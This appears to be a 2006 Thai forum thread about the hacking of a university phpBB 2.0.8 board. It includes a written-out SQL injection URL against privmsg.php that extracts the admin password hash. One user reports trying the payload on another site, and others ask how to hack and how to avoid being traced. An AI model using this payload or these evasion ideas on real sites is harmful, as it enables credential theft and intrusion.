Printable View
เว็บไซต์ที่โดนคือ http://forum.eng.dpu.ac.th/
วันที่พบคือ 25 July 2006 18.00
บังเอิญเข้าไปเห็นมา ไม่ทำนะครับ คาดว่าจะโดนจากชองโหว่ของ Forum แต่ตอนนี้ยังไม่รู้ว่า Forum ตัวไหน หรือไม่ก็โดนจาก Service IIS ส่งที่เห็นก็คือรูปต่อไปนี้
[attachmentid=23]
ปล. ขออภัยนะครับแก้ไขใหม่เป็นของ มหาวิทยาลัยธุรกิจบัณฑิตย์ นะครับไม่ใช่ศรีประทุม
เป็นเว็บบอร์ดจริงๆด้วย Powered by phpBB 2.0.8
http://web.archive.org/web/20050306075734/....eng.dpu.ac.th/
ช่องโหว่ของ Version นี้คือ
เท่าที่ดูจาก Code แล้วคือ MySQL Injection สงสัย user Admin จะโดน Hack แน่เลย แล้วถ้าโชคร้ายกว่านั้นถ้าใช้รหัส Admin เดียวกันกับ user ของ OS ก็จบ ....Code:/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type=-99 UNION
SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username,0,0,0,0,0,0,0,0,0,user_password
FROM phpbb_users WHERE user_id=2 LIMIT 1/*
อยากทราบวิธีใช้โค๊ดดังกล่าวครับ
Hmm, it already explicit man !!!
ถ้าเป็นเว๊บบอร์ดที่เป็น php แต่มีการป้องกันที่ค่อนข้างแน่นหนา เราจะเจาะเข้าไปได้รึเปล่า ผมเคยลองเจาะดูแต่ไม่สามารถดึง file จาก server ได้เลย
ไม่ใช่ของ มหาลัย ศรีประทุม นิครับ
แก้ไขแล้วครับQuote:
ไม่ใช่ของ มหาลัย ศรีประทุม นิครับ[/b]
เสียดายเข้ามาช้าไป :D เลยไม่ได้เห็น จะจะ
ตามที่เจ้าของกระทู้ ตามทีลงไว้
เพราะวันนี้ เข้าไม่ได้แล้ว ว่าแต่นี่ก็นานแล้วทำไมทางมหาลัยไม่แก้ไขใหม่
หรือว่าหาคนทำไม่ได้ เพราะคนเก่า เด้งไปแล้ว- - - (อานิสงค์ ถูก แฮค) ;)
แต่ทางเว็บเค้าน่าจะป้องกันแน่นมากเลยหนิครับ สงสัยคงต้องเก่งมากๆ -*- แต่ว่าเสียดายไม่ได้เห็นด้วยตาตัวเองอ่ะครับTT อยากรู้จังว่าจะเป๋นยังไง
บอร์ดนี้คงมีคน Hack ได้เหมือนกัน ใครรู้วิธีช่วยสอนด้วยครับ
ผมคิดว่าคนในอาจจะมีส่วนก็ได้ครับ แต่ผมเห็นสถานศึกษาหลายๆที่ไม่ยอมลงทุนจ้างคนที่มีความเชี่ยวชาญมาดูแลอะครับ อย่างที่ที่ผมเรียนอยู่Adminมีความรู้เกี่ยวกับdatabaseและnetworkน้อยมากครับ สงสัยเหมือนกันว่าเข้ามาได้ไง- -a
น่าสงสารคนที่ถูกแฮคน่ะคับ
ผมไม่ทราบว่าเขาต้องการอะไรนะครับ ที่มา Hack board ของมหาวืทยาลัยนี้
แต่รู้สึกจะโดนแบบเดียวกับผมเพราะ ผมเคยเปิด Free Borad เกี่ยวกับ Game Console
ผมว่าน่าจะออกกฏหมายจับเจ้าพวกนี้นะครับ ชอบมาสร้างความปั่นป่วนให้คนอื่นๆ (ใช้วิชาในด้านลบ แย่จริงๆ!) :angry:
เอ่อ คือ ผมลองไปหาเวบที่มันใช้ phpbb 2.0.8
[attachmentid=175]
แล้วก้อลองทำตามโดยใส่ใน addressbar เป็น
[attachmentid=174]
แล้วทำไมมันไม่ได้อ่ะคับCode:/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type=-99 UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username,0,0,0,0,0,0,0,0,0,user_password FROM phpbb_users WHERE user_id=2 LIMIT 1
ช่วยแนะนำด้วยค้าบ ". ."
เค้า hack ยังไงกันอ่ะ
มันไม่ใช่ของ 2.0.18Quote:
เอ่อ คือ ผมลองไปหาเวบที่มันใช้ phpbb 2.0.8
[attachmentid=175]
แล้วก้อลองทำตามโดยใส่ใน addressbar เป็น
[attachmentid=174]
แล้วทำไมมันไม่ได้อ่ะคับCode:/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type=-99 UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username,0,0,0,0,0,0,0,0,0,user_password FROM phpbb_users WHERE user_id=2 LIMIT 1
ช่วยแนะนำด้วยค้าบ ". ."
[/b]
เหรือครับ
ทางสถานบันไม่แน่ใจว่าทราบเรื่องหรือยังถ้าทราบเรื่องแล้วน่า
จะแก่ไขนะครับมันค่อนข้างอันตรายเลยที่เดี๋ยว
เด็กใหม่ครับป๋ม :lol:
ตำรวจเขามีวิธีตามตัวคนพวกนี้ยังไงครับ หรือว่าตำรวจก็เป็นแฮ็กเกอร์เหมือนกัน (สงสัยคงเหมือนในหนัง B) )
Hack เคยโดนกลับตัวเหมือนกันตอนเปิด Sv. เกมสฺ์ รู้สึกไม่ดีเลย
คนแฮคเก่งจัง....สักวันจะทำมั่ง
ทางมหาลัยน่าจะรอบคอบ กว่านี้เนอะ
น่าสนุกดีครับ แต่hack แล้ว แค่ลองวิชา อย่าไปทำลายก้อพอ
การแฮกเว็บนี้ส่นมากเค้าใช้ เครื่องมือหรือโปรแกรมอะไรกันบ้างเหรอครับ
คือตอนนี้ผมกำลังศึกาหนักเรื่องแฮก ขอความรู้หน่อยครับ เพราะเว็บบอดน่าจะมีการป้องกันแล้วด้วย
ขอบคุณสำหรับความรู้ใหม่ๆครับ
แต่ถ้าเป็นของ phpbb นี่สามารถแฮคได้ไหมครับ เพราะเคยลองแล้วแต่ทำไม่ได้อะครับ ถ้าได้รบกวนทีนะครับ
ใช่คับ คนที่แฮคต้องเก่งมากๆ ผมว่าคนดูแดบอร์ดก็คงจะมีการป้องกันเต็มที่แล้วหละคับ แต่ผมเคยได้ยินมาว่า ถึงจะมีระบบป้องกันดีแค่ไหน ถ้าคนที่จะแฮคเขามีความตั้งใจ มุ่งมันที่จะเข้าไปแล้วหละก็ ยังงัยก็ต้องโดนเจาะอยู่ดีคับ
ผมว่า... ถึงแม้ระบบป้องกันจะดีเลิศขนาดไหน แต่ถ้าในองค์กรมีหนอนบ่อนไส้ คงรอดยากนา
แล้วพวก Hack แล้วทิ้งข้อความประกาศศักดิ์ดา หรือพวกป่วนระบบให้เจ็ง มันไม่น่าศรัทธาเลยคับ
ที่ผมชอบคือพวก Hack เงียบๆ ไร้ล่องลอย เนียนๆ มากกว่าคับ
ขนาดเวบบอร์ดภาคที่ทำกันองยังมีคนแฮคเลยครับ ต้องหาความรู้เพื่อป้องกันละ
ปล. บางคนแฮคแล้วเปลี่ยนข้อมูลทำให้ทะเลาะกันอ่ะ
อย่ารุ้วิธีดูช่องโหว่ของ เว็บ ต้องมีความรู้เรื่องอะไรเป็นพิเศษหรอเปล่า
แล้วต้องใช้โค๊ดตัวไหนเพื่อตรวจสอบช่องโหว่บ้างอ่ะคับ
ถ้าคัยรู้กรุณาบอกทีนะคับ
คนที่ hack มาhack ที่ราชมงคลได้ไหมครับ
ถ้าเราไป Hack เค้าไว้อย่างงี้อะคับ...
จะมีวิธีอะไรบ้างที่จะทำให้ตามเราไม่เจอบ้างอะคับ...
ใช้โปรแกรมพวก hide ip นี่ช่วยได้มั๊ยคับ...
ที่ทำงานผมก็เคยโดน Hack อยู่เหมือนกันครับ เลยลงทุน ซื้ออุปกรณ์ตัวล่ะเป็นล้าน มาคุมระบบ ไม่รู้จะใช้ได้ดีหรือเปล่า..
ถ้าเป็นการแฮ๊กผ่านช่องโหว่ของการเขียนโปรแกรมที่ผิดพลาด นี่ตัวเป็นล้านก็ไม่แน่ว่าจะรอดนะครับเพราะเป็นการเจาะในลักษณะที่ทำงานปรกติ คือ พอร์ท http (80) ทางทีดีหมั่น update หาความรู้พวกนี้ไว้ครับ แล้วทำการแก้ไขให้เร็วที่สุดครับ
phpbb มีช่องโหว่เยอะอ่ะคับ โดนแฮกอิอิ ซวยเลย